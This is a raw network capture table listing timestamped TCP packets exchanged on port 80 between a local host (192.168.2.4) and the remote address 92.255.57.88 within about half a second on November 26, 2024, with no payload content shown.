Nov 26, 2024 00:07:28.112344027 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.112401962 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.112421989 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.117769957 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.117821932 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.117837906 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.117882967 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.123209000 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.123298883 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.123326063 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.123366117 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.128736973 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.128802061 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.128868103 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.128921986 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.134188890 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.134249926 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.134278059 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.134320974 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.183432102 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.183481932 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.183514118 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.183641911 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.184590101 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.184662104 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.184700966 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.184741020 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.188544989 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.188585043 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.188649893 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.188846111 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.192549944 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.192611933 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.192656040 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.192702055 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.196544886 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.196574926 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.196594954 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.196614027 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.200352907 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.200401068 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.200443029 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.200584888 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.204183102 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.204233885 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.204266071 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.204431057 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.207884073 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.207930088 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.207961082 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.207999945 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.211575031 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.211626053 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.211668968 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.211709976 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.215187073 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.215251923 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.215291977 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.215338945 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.218947887 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.218995094 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.219026089 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.219069958 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.222573996 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.222623110 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.222660065 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.224888086 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.226229906 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.226283073 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.226357937 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.226399899 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.229954004 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.230022907 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.230067968 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.233563900 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.233660936 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.233709097 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.237265110 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.237410069 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.237445116 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.237462044 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.240468979 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.240550041 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.240571022 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.240587950 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.243340015 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.243410110 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.243417978 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.243446112 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.246150970 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.246196032 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.246277094 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.246360064 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.249088049 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.249141932 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.249178886 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.249218941 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.252029896 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.252074003 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.252094030 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.252135992 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.254823923 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.254887104 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.309645891 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.309714079 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.309756994 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.309806108 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.310473919 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.310520887 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.310578108 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.310621977 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.313149929 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.313199043 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.313262939 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.313308001 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.315872908 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.315920115 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.315994024 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.316040039 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.318603039 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.318655968 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.318691969 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.318734884 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.321285963 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.321335077 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.321366072 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.321413040 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.324023008 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.324069977 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.324093103 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.324134111 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.326731920 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.326778889 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.326849937 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.327004910 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.329519033 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.329586983 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.329622984 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.332134962 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.332182884 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.332271099 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.332315922 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.334856033 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.334902048 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.334976912 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.335025072 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.337666988 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.337737083 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.337766886 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.337804079 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.340235949 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.340284109 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.384824038 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.384870052 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.384968996 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.385015011 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.385659933 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.385706902 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.386022091 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.386070967 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.386101961 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.386141062 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.388001919 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.388046980 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.388087988 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.388135910 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.389997959 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.390093088 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.390096903 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.390140057 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.391920090 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.391983986 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.392102003 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.392146111 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.393908978 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.393992901 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.393996954 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.394042015 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.395832062 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.395944118 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.395953894 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.395978928 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.397811890 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.397855997 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.397907019 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.397952080 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.399780989 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.399827957 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.399885893 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.399926901 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.401725054 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.401772976 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.401835918 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.401880980 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.403657913 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.403702974 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.403772116 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.403819084 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.405647039 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.405695915 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.405767918 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.405816078 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.407619953 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.407664061 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.407722950 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.407768965 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.409545898 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.409672022 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.409710884 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.411503077 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.411555052 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.411675930 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.411746979 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.413475990 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.413525105 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.413564920 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.413609982 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.415458918 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.415503979 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.415561914 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.415606022 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.417382956 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.417427063 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.417478085 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.417522907 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.419339895 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.419387102 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.419425011 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.419469118 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.421308994 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.421376944 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.421395063 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.421438932 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.423276901 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.423420906 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.423428059 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.423471928 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.425218105 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.425263882 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.425319910 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.425359964 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.427181959 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.427227974 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.427287102 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.427331924 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.429141998 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.429186106 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.429253101 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.429310083 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.431088924 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.431173086 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.431188107 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.431230068 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.433051109 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.433094025 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.433125019 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.433167934 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.435336113 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.435352087 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.435385942 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.436994076 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.437067032 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.437077045 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.437114954 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.439055920 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.439070940 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.439106941 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.440924883 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.440973043 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.441011906 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.441055059 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.442877054 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.442923069 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.443006039 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.443051100 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.444811106 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.444922924 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.444941044 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.444960117 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.446835041 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.446846962 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.446882963 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.448704958 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.448750019 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.448781013 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.448822021 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.450699091 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.450743914 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.450767040 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.450814009 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.452493906 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.452537060 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.452627897 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.452677965 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.454371929 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.454420090 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.454495907 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.454557896 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.456234932 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.456279039 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.456417084 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.456455946 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.458213091 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.458265066 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.458293915 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.458334923 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.459887028 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.459932089 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.459995031 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.460052013 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.461689949 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.461735964 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.510822058 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.510869026 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.511013031 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.511049032 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.511694908 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.511748075 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.512105942 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.512151957 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.512237072 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.512351036 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.513818979 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.513909101 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.513968945 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.514024019 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.515575886 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.515625954 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.515688896 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.515779018 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.517360926 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.517414093 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.517455101 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.517548084 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.519195080 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.519244909 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.519278049 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.519315958 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.520976067 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.521030903 CET	49734	80	192.168.2.4	92.255.57.88
